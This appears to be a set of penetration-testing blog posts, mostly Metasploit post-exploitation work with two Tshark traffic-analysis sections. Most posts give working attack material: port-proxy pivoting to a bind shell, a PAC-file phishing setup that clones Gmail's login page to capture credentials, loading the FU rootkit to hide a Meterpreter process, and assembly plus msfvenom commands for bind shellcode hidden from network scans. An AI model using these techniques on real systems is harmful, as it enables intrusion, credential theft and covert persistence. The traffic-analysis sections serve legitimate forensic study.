msf post(portproxy) > set connect_port 80
connect_port => 80
msf post(portproxy) > set connect_address 192.168.1.35
connect_address => 192.168.1.35
msf post(portproxy) > show options

Module options (post/windows/manage/portproxy):

Name Current Setting Required Description
---- --------------- -------- -----------
CONNECT_ADDRESS 192.168.1.35 yes IPv4/IPv6 address to which to connect.
CONNECT_PORT 80 yes Port number to which to connect.
IPV6_XP true yes Install IPv6 on Windows XP (needed for v4tov4).
LOCAL_ADDRESS 0.0.0.0 yes IPv4/IPv6 address to which to listen.
LOCAL_PORT 9002 yes Port number to which to listen.
SESSION 3 yes The session to run this module on.
TYPE v4tov4 yes Type of forwarding (v4tov4, v6tov6, v6tov4, v4tov6)

msf post(portproxy) > run

[*] Installing IPv6... can take a little long
[+] IPv6 was successfully installed.
[*] Setting PortProxy ...

[*] Port Forwarding Table

=====================

LOCAL IP LOCAL PORT REMOTE IP REMOTE PORT
-------- ---------- --------- -----------
0.0.0.0 3333 192.168.1.82 4567
0.0.0.0 9002 192.168.1.35 80

[*] Setting port 9002 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed

The IPv6_XP datastore variable is needed for Windows XP. Because of a bug, you need to install the IPv6 interface (disabled by default) in your Windows XP installation to let you setup a proxy rule; even if you want to make a proxy that maps IPv4 to IPv4 connections (v4tov4); this was the case of 192.168.1.131.

Now we can try the connection:

root@krypton:/tmp#wget --server-response --spider 192.168.1.104:9001
Modo arácnido activado. Comprobar si el fichero remoto existe.
--2013-08-29 15:07:26-- http://192.168.1.104:9001/
Conectando con 192.168.1.104:9001... conectado.
Petición HTTP enviada, esperando respuesta...
HTTP/1.1 200 OK
Server: BadBlue/2.7
Content-Type: text/html
Accept-Ranges: bytes
Date: Thu, 29 Aug 2013 13:11:31 GMT
ETag: "3f45655a7512d8b6:43d"
Last-Modified: Fri, 22 Aug 2003 00:35:38 GMT
Content-Length: 1085
Connection: close
Cache-control: public
Longitud: 1085 (1,1K) [text/html]

This is also a good way to run bind shells in no unreachable hosts.

root@krypton:/tmp# nc 192.168.1.104 9001
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Lab>

Passive DNS is a nice monitoring technique to get the relationships of domains and IP addresses. With this information we can identify fast-flux botnets that constantly update DNS with very low TTL values, know where a domain name pointed to in the past, what domain names are on a given IP and so on.

I usually use pdnstool to query about a specific domain or IP as it allows me to choose multiple passive DNS databases (DNSParse, ISC, BFK, CERTEE). In the next example I query the BFK database to get information about spotsmalldor.com.

root@mordor:~# pdnstool -b spotssmalldor.com
sourceresponse_timequeryanswerrrtypettlfirstseenlastseencount
BFK0.707719847spotssmalldor.com37.153.192.72A
BFK0.707719847spotssmalldor.com42.121.84.12A
BFK0.707719847spotssmalldor.com95.87.1.19A
BFK0.707719847spotssmalldor.com111.93.115.216A
BFK0.707719847spotssmalldor.com140.116.72.75A
BFK0.707719847spotssmalldor.com223.30.27.251A
BFK0.707719847spotssmalldor.comns1.treesmustdownload.suNS
BFK0.707719847spotssmalldor.comns1.checklistsseesmics.suNS
BFK0.707719847spotssmalldor.comns1.boardsxmeta.comNS
BFK0.707719847spotssmalldor.comns1.higherpricedan.comNS

No doubt that the information provided by this technique is really valuable to identify different types of threats. But, what if we want to implement our own passive DNS? Although there are many ways to accomplish this (for example with YaF and Mediator), I would like to explain a faster method by using just the display filters of Tshark; with no need to install additional packages. Obviously, this would be a very simplified version of a real passive DNS service.

So, If you have access to a DNS server or you can do port mirroring in a modest network this can be useful:

peregrino@mordor:~$ tshark -i wlan0 -f "src port 53" -R "dns.flags.authoritative == 1" -n -T fields -e dns.qry.name -e dns.resp.addr -E occurrence=f
google.com 173.194.41.1
elpais.es 91.216.63.241
upsa.es 193.146.156.50

With this filter Tshark will record the authoritative DNS responses sent to clients to know the IP/domain association of each of the DNS queries. You can check it with:

peregrino@mordor:~$ dig google.com NS +short | head -1

ns1.google.com.

peregrino@mordor:~$ dig google.com @ns1.google.com +short | head -1

173.194.41.1

To get more fields (for example the delta time) add another -e switch with the name of the field. If the traffic is high, remember that you can make use of the -b switch with the duration and files options to set up a ring buffer. This is a good way to prevent filling the entire hard disk with many pcap files.

If the DNS traffic is not very high, you can simply redirect the output to a file and then use the sort command to get a list sorted by domain.

peregrino@mordor:~$ tshark -i wlan0 -f "src port 53" -R "dns.flags.authoritative == 1" -n -T fields -e dns.qry.name -e dns.resp.addr -E occurrence=f > /tmp/domains
Capturing on wlan0
....
peregrino@mordor:~$ sort -t $'\t' -uk 1 /tmp/domains
alsa.es212.163.31.132
elpais.es91.216.63.240
google.com173.194.41.1
spotssmalldor.com140.116.72.75 <---
spotssmalldor.com223.30.27.251 <---

If you want to see more useful examples with Tshark for dealing with network security incidents take a look at Instant Traffic Analysis with Tshark How-to.

I love Tshark for network forensics; I think the command line version of Wireshark can be really efficient if it used wisely to detect a big amount of anomalies/attacks in our network. Let's see the next case.

The internal server (192.168.1.130/24) of a certain organization has been compromised several times. The fact that the server is not accessible from the outside led us to think that an internal user had also been compromised, and the attacker was doing "pivoting" from that machine to the server. Another option was that an infected USB had been the root of the problem. However, after checking that the firewall did not filter the traffic DMZ ---> Internal Network, we could confirm that this was the origin of the intrusion. The web server (192.168.20.1/24) in the DMZ was compromised, and from here the attacker could access the internal LAN using the Administrator account. To do this the attacker used Mimikatz to get the credentials of that machine and then ran Psexec against the internal server with the Administrator account.

We realized this when we checked the traffic from DMZ to the Internal LAN as follows (note the use of the flag SYN = 1 and ACK = 0 to show only connections initiated from the DMZ):

bmerino@Mordor:~$ tshark -r pivo.pcap -T fields -e ip.src -R "ip.src == 192.168.20.0/24 && ip.dst==192.168.1.130 && tcp.flags.syn==1 && tcp.flags.ack==0" | sort -u
192.168.20.1

According to this information the machine 192.168.20.1 (the web server) started some kind of connection with the internal server.

The following output shows an excerpt of the type of traffic generated between both machines:

bmerino@Mordor:~$ tshark -r pivo.pcap -o column.format:'"Info","%i","Protocol","%p"' -R "ip.src == 192.168.20.1 && ip.dst==192.168.1.130" | head -4
Tree Connect AndX Request, Path: \\192.168.1.130\IPC$ SMB Redirect (Redirect for host) ICMP
[TCP Retransmission] Tree Connect AndX Request, Path: \\192.168.1.130\IPC$ SMB
Trans2 Request, QUERY_PATH_INFO, Query File Basic Info, Path: \PSEXESVC.EXE SMB

As shown in the output, the web server initiated a NETBIOS connection with the internal server (something totally suspicious). From there, he ran Psexec to authenticate to the server machine. You can also see the plaintext password and the user used to login the server (surely he uses Psexec with -u option, which sends the password in clear text):

bmerino@Mordor:~$ tshark -r pivo.pcap -x "ip.src == 192.168.20.1 && ip.dst==192.168.1.130" | grep "A.D.M.l" -m 1 -A 1 | awk -F ""'{print $3}'
A.D.M.l.o.c.1.0.1...............

If you want to see more useful examples with Tshark for dealing with network security incidents take a look at Instant Traffic Analysis with Tshark How-to

We have several alternatives from our shell if we want to play with the DNS to control the victim traffic. A common method is to modify the file C:\WINDOWS\system32\drivers\etc\hosts to add fake entries. From Meterpreter, we can use the module inject_host.rb to facilitate this task. Another option would be to modify the host's DNS to point to our fakedns service with something like:

C:\Windows\system32>netsh interface ip show interfaces
Índ Mét MTU Estado Nombre
--- ---------- ---------- ------------ ---------------------------
1 50 4294967295 connected Loopback Pseudo-Interface 1
11 10 1500 connected Conexión de área local

C:\Windows\system32>netsh interface ip set dns "Conexión de área local" static 192.168.1.200
C:\Windows\system32>ipconfig /all | findstr 192.168.1.200
Servidores DNS. . . . . . . . . . . . . . : 192.168.1.200

or better yet, we can try to modify the DNS of the router itself if we have access to it (something similar to what Zlob trojan did). This would be great if the host gets its network configuration via DHCP.

These solutions have, however, some drawbacks in certain environments. For example, some AV would raise alerts if it detects suspicious changes in the host file. On the other hand, by changing the host's DNS may have no effect if the firewall/router blocks DNS requests from computers other than the internal DNS servers (as long as our fake DNS server is external).

As a complement to these methods I have made a small post-exploitation module for Meterpreter to configure a .PAC (Proxy Automatic Configuration) file with which we can fully control the Internet Explorer user traffic. These kind of files contain functions in JavaScript that allow us to choose, under specific criteria, which proxy must be used to access to certain URL; so although we're not really forging DNS packets we can get the same effect. Thanks to these features, it is not surprising that many bad guys have taken advantage of the PAC files in the last years to conduct phishing attacks. To see the possibilities as well as the functions that support this type of files, take a look here and here.

Let's see a practical example. To carry out our phishing attack I will use the following PAC file.:

function FindProxyForURL(url, host)

{

if (shExpMatch(host, "www.gmail.com")) {

return "PROXY 192.168.1.102:80; DIRECT";

}

if (shExpMatch(host, "www.shelliscoming.com")) {

return "PROXY 192.168.1.102:80; DIRECT";

}

if (url.substring(0, 6) == "https:") {

return "DIRECT";

}

So, the idea is to redirect the user to our fake proxy (192.168.1.102) when he tries to access www.gmail.com or www.shelliscoming.com. With the HTTPS traffic we will do nothing, so the client will go "DIRECT" to the site.

To run the module you just have to indicate a local or remote PAC file (this will be less noisy as it will not write the PAC file to disk).

meterpreter> background

[*] Backgrounding session 2...

msf exploit(handler) > use post/windows/manage/ie_proxypac

msf post(ie_proxypac) > set session 1

session => 1

msf post(ie_proxypac) > set local_pac /var/www/file.pac

local_pac => /var/www/file.pac

msf post(ie_proxypac) > show options

Module options (post/windows/manage/ie_proxypac):

Name Current Setting Required Description

---- --------------- -------- -----------
AUTO_DETECT false no Automatically detect settings.
DISABLE_PROXY false no Disable the proxy server.

LOCAL_PAC /var/www/file.pac no Local PAC file.

REMOTE_PAC no Remote PAC file.

SESSION 1 yes The session to run this module on.

msf post(ie_proxypac) > exploit

[*] Setting a local PAC file ...

[+] PAC proxy configuration file written to C:\Users\User\AppData\Roaming\EmdwpoYkTiZwQ.pac

[+] Proxy PAC enabled

[*] Post module execution completed

msf post(ie_proxypac) > sessions -i 1
[*] Starting interaction with 1...

meterpreter> getproxy
Auto-detect : No
Auto config URL : file://C:\Documents and Settings\Test\Application Data\EmdwpoYkTiZwQ.pac
Proxy URL :
Proxy Bypass :

After running the module, the IE will be configured to use the local PAC file created.

To prepare our fake site, we will download the index.html page from the real www.gmail.com.

root@krypton:/var/www# wget -q www.gmail.com

root@krypton:/var/www# ls

auth.html file.pac index.html

Then, we will modify the form action of index.html to point to a local html resource (auth.html) instead of "https://accounts.google.com/ServiceLoginAuth". This way the user will send the credential to us.

The auth.html will just redirect the user to the legitimate login page, thus we will make the attack more transparent.

root@krypton:/var/www# cat auth.html

If the user types now www.gmail.com he will access to our fake site and after sending the credential to us he will be redirected to the original Gmail authentication page. To save the credentials you can simply setup Tshark or Tcpdump to record the HTTP traffic in a pcap file. Remember that you also have the post module inject_ca to insert an arbitrary CA certificate into the victim's Trusted Root store; this can be helpful to make a more sophisticated phishing attack.

The funny thing about this is that you don't need admin privs to change the proxy settings; better yet, even if you have a group policy that prevents modifying the proxy settings from the GUI you could bypass it since the changes are made by direct registry modification. @Scriptmonkey_ recently spoke about this in his blog (thanks to @Meatballs__ for the reference)

Here I leave a how-to video with the whole process:

Since life in kernel space is more stealthy, you may want to load your own rootkit kernel driver to hide your shell, some process or connection, etc. and thus make your post-exploitation work more covertly. Not only rootkits but other kind of drivers could be really useful for a pentester. For example, we can load the packet capture driver (npf.sys) from Winpcap if we have the intention to sniff or inject packets into the network to carry out further attacks.

A good and confortable way to load drivers is by using the Service Control ManagerAPI interface which allows you to run and load a kernel driver in a safe way through functions such as CreateServiceA, OpenSCManagerA and OpenServiceA. Taking advantage of Services mixin I made a simple module to achieve this from Meterpreter. Let's see an example with the well-known FU rootkit driver.

[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/manage/driver_loader
msf post(driver_loader) > set driver_name FU_RK
driver_name => FU_RK
msf post(driver_loader) > set driver_path c:\\windows\\system32\\drivers\\fu.sys
driver_path =>c:\windows\system32\drivers\fu.sys
msf post(driver_loader) > set session 1
session => 1
msf post(driver_loader) > show options

Module options (post/windows/manage/driver_loader):

Name Current Setting Required Description
---- --------------- -------- -----------
DRIVER_NAME FU_RK yes Driver Name.
DRIVER_PATH c:\windows\system32\drivers\fu.sys yes Driver path in %SYSTEMROOT%.Example: c:\windows\system32\msf.sys
ERROR_TYPE ignore yes Error type. (accepted: ignore, normal, severe, critical)
SERVICE_TYPE kernel yes Service type. (accepted: kernel, file_system, adapter, recognizer)
SESSION 1 yes The session to run this module on.
START_TYPE auto yes Start type. (accepted: boot, system, auto, demand, disabled)

msf post(driver_loader) > exploit

[*] Service object added to the Service Control Manager database.
[+] Driver loaded successfully.
[*] Post module execution completed

We can verify that the driver was loaded successfully.

Now we can use fu.exe to hide some processes.

meterpreter > shell

Process 1972 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

C:\Documents and Settings\Test\Desktop>cd %TEMP%

cd %TEMP%

C:\DOCUME~1\Test\LOCALS~1\Temp>tasklist | findstr "meterpreter_reverse"

tasklist | findstr "meterpreter_reverse"

meterpreter_reverse.exe 1628 Console 0 7.360 K

C:\DOCUME~1\Test\LOCALS~1\Temp>fu -ph 1628

fu -ph 1628

C:\DOCUME~1\Test\LOCALS~1\Temp>tasklist | findstr "meterpreter_reverse"

tasklist | findstr "meterpreter_reverse"

C:\DOCUME~1\Test\LOCALS~1\Temp>

Note that a drawback of using SCM is that once the service has been installed, it will leave some artifacts in the registry under HKLM\SYSTEM\CurrentControlSet\Services which may raise suspicious from a forensic point of view.

How many times have you used a bind shell as a persistence method? and how many of those times you have been restless thinking that someone could steal your shellcode? Personally, most of the times. Anyone snooping your target machine could get your shell using a simple netcat or even kill it with a routine Nmap scan. In the following example we have generated a bind shell (shell_bind_tcp) with a local port 12345. Once the victim (192.168.1.42) runs the payload, look what happens to the shell with the following scan:

root@krypton:~#msfvenom -p windows/shell_bind_tcp LPORT=12345 -f exe > 12345.exe
root@krypton:~# nmap -sT -p 12345 -PN 192.168.1.42 | grep open
12345/tcp open netbus
root@krypton:~# nmap -sT -p 12345 -PN 192.168.1.42 | grep open
root@krypton:~#

The shell has gone! This is the reason why I made a shellcode that accepts requests only from the IP you want. Actually, I modified the Stephen Fewer shell_bind_tcp to add such functionality. At first I thought to replace the accept() socket API by WSAAccept(). The reason is that this API provides a callback function that is called before a connection is accepted. Using this callback we can set conditions for accepting or not the connection (for example based on the client IP). However, implementing this in our shellcode would add too much extra weight. Since we are dealing with a single payload, where each byte is valuable, I finally opted for accept().

The syntax of this function is as follows:

SOCKET accept(

_In_ SOCKET s,

_Out_ struct sockaddr *addr,

_Inout_ int *addrlen

)

The second argument allows us to specify a pointer to a sockaddr structure where the client IP and port of the incoming connection will be stored. Thanks to this pointer we can compare the allowed IP (embedded in our shellcode) with the one that established the connection. If both IP addresses do not match, the socket descriptor is closed by calling closesocket() and the accept() function is executed again to wait a new connection. Otherwise (if the IPs match) the shell is launched. Here, the .asm code to get this:

accept:

push 0x10 ; push the size of the buffer that receives the address (16 bytes)

push esp ; push the pointer to the integer that contains the size of the buffer

push esp ; push the pointer to the buffer that receives the address

push edi ; push the listening socket descriptor

push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )

call ebp ; accept( s, 0, 0 );

mov esi, 0x2101A8C0 ; copy the IP allowed to get the shell in ESI. By default is 192.168.1.33

pop ebx ; pop in ebx the client IP returned in the stack

cmp esi, ebx ; compare the client IP with the IP allowed

jz closesocket ; if zero, keep working

push eax ; if not zero, close the socket descriptor

push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )

call ebp; ; closesocket( s );

jmp accept ; wait for another connection

closesocket:

push edi ; push the listening socket to close

xchg edi, eax ; replace the listening socket with the new connected socket for further comms

push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )

call ebp ; closesocket( s );

This change will mean an increase of 22 bytes respect to the classic bind shell. I'll try to optimize it more.

You can find the original code of the shell_bind_tcp in the

external/source/shellcode/windows/x86/src/single/single_shell_bind_tcp.asm file. Thanks to the way in which the asm code is segmented, the changes can be done easily without modifying the entire shellcode:

[BITS 32]
[ORG 0]

cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start:
pop ebp ; Pop off the address of 'api_call' for calling later.
%include "./src/block/block_bind_tcp.asm"
; By here we will have performed the bind_tcp connection and EDI will be out socket.
%include "./src/block/block_shell.asm"
; Finish up with the EXITFUNK.

%include "./src/block/block_exitfunk.asm"

The code responsible for managing the socket (listen, bind, accept, etc.) is defined in src/block/block_bind_tcp.asm. Therefore you only need to modify this file. To make a call to certain API you will have to push the function hash value onto the the stack and make a "call ebp" (see for example the call to closesocket). The return value from that API will be in EAX. All this logic to itertate the export table, find the function and make the call is defined in src/block/block_api.asm.

To use the acl_bind_tcp, you just have to specify the AHOST argument (Allowed Host) indicating the privileged IP address; any other IP will be refused. Needless to say that if you do not want to embed your own IP in the shellcode you can use a proxy IP or even another compromised computer. Here's an example with msfvenom:

$ msfvenom -p windows/shell_acl_bind_tcp AHOST=192.168.1.33 LPORT=7651 -f exe > acl_bind.exe

Let's see what happens if we try to get the shell from 192.168.1.88

ESI contains our hardcoded allowed IP specified by AHOST (192.168.1.33). In EBP we have popped the client IP that established the connection. Since both are different, the condition fails and the socket is closed by calling closesocket(). Then we call accept() again to wait for another connection. Otherwise we jump to 0040417F to keep working and to give the user his shell.

For now, I have uploaded the payload and the handler to my github account.

Many organizations use tools like Nexpose, Nessus or Nmap to perform periodic scans of their networks and to look for new/unidentified open ports. In this kind of environment it’s difficult that our bindshell goes unnotice. For this reason, after finishing the ACL Bind Shellcode it occurred to me that the payload could be further improved so that it was only visible to the IP I wanted. The result is another alternative to the ACL Bind Shell called "Hidden Bind Shell". The payload will also be a modified version of the Stephen Fewer shell_bind_tcp.

The idea is that our shellcode responds with a RST to any connection attempt coming from an IP different than the one we set in the shellcode (defined by the variable AHOST, allowed Host). This is a good way to keep the shellcode hidden from scanning tools since our socket will appear as "CLOSED"(in Windows XP you won't even see anything locally from the netstat output).

To achieve this without implementing raw sockets I have used the setsockopt API setting the SO_CONDITIONAL_ACCEPT option to true. With this configuration whenever someone tries to establish a new connection, the TCP stack will not respond with a SYN-ACK (as it does by default) but its management is delegated to the shellcode itself which will decide, based on the source IP address, whether accept or not the connection. This condition can be defined by the conditional accept callback registered with WSAAccep.

The code in charge of applying this functionality, in this first version, is shown below:

push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter

push esp ; optval: pointer to the buffer in which the value for the requested option is specified

push 0x3002 ; level at which the option is defined: SOL_SOCKET

push 0xFFFF ; the socket option: SO_CONDITIONAL_ACCEPT

push edi ; socket descriptor

push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )

call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );

push ebx ; backlog

push edi ; socket

push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )

call ebp ; listen( s, 0 );

condition:

push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)

call wsaaccept ; push the start of the condition function on the stack

mov eax, DWORD [esp 4]

mov eax, DWORD [eax 4]

mov eax, DWORD [eax 4] ; get the client IP returned in the stack

sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed

jz return ; if equal returns CF_ACCEPT

xor eax, eax ; If not equal, the condition function returns CF_REJECT

inc eax

return:

retn 0x20 ; some stack alignment needed to return to mswsock

wsaaccept:

push ebx ; length of the sockaddr = nul

push ebx ; struct sockaddr = nul

push edi ; socket descriptor

push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )

call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)

cmp eax, -1 ; if error jump to condition function to wait for another connection

jz condition

Its use will be exactly the same as the ACL Bind Shell. We will use the AHOST variable to specify the IP that will have visibility to the shellcode. For example, to make the shellcode accessible only from the IP 192.168.1.200 we would run msfvenom as follows:

root@krypton:~# msfvenom -p windows/shell_hidden_bind_tcp LPORT=54321 AHOST=192.168.1.200 -f exe > hidden_shell.exe

For now, the payload is available on my github account. To use it, download the handler and the payload and place them in metasploit-framework/lib/msf/core/handlerand metasploit-framework/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb respectively.

Here a how-to video:

Reverse Port SSH Tunneling en SET v1.3

DNS Port Forwarding con Meterpreter

Infección de procesos en Linux con Cymothoa

Análisis de shellcodes con scdbg / libemu

Defensas frente a ataques DHCP

Uso eficiente de Metasploit: resource scripts

Rcapd start Meterpreter module

Metasploit Forensics: Recovery deleted files (NTFS)

¿Dónde dejo mi bind shell?

CrystalAEP: una alternativa a EMET

Metasploit: Man in the Middle through PPTP tunnel

TOR + 2nd VPN: An additional layer of anonymity

Metasploit: Getting Ingress firewall rules

Metasploit: Chain of proxies with PortProxy module

Passive DNS with Tshark

Network Forensics with Tshark: Psexec intrusion

Metasploit: Controlling Internet Explorer user traffic through a proxy PAC file

Loading a kernel driver from Meterpreter

Don't touch my shell: ACL Bind Shellcode

Hidden Bind Shell: Keep your shellcode hidden from scans